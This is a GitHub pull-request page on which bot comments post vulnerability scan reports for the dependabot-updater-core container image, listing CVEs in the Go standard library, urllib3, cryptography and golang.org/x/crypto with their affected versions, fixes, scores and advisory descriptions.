
        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

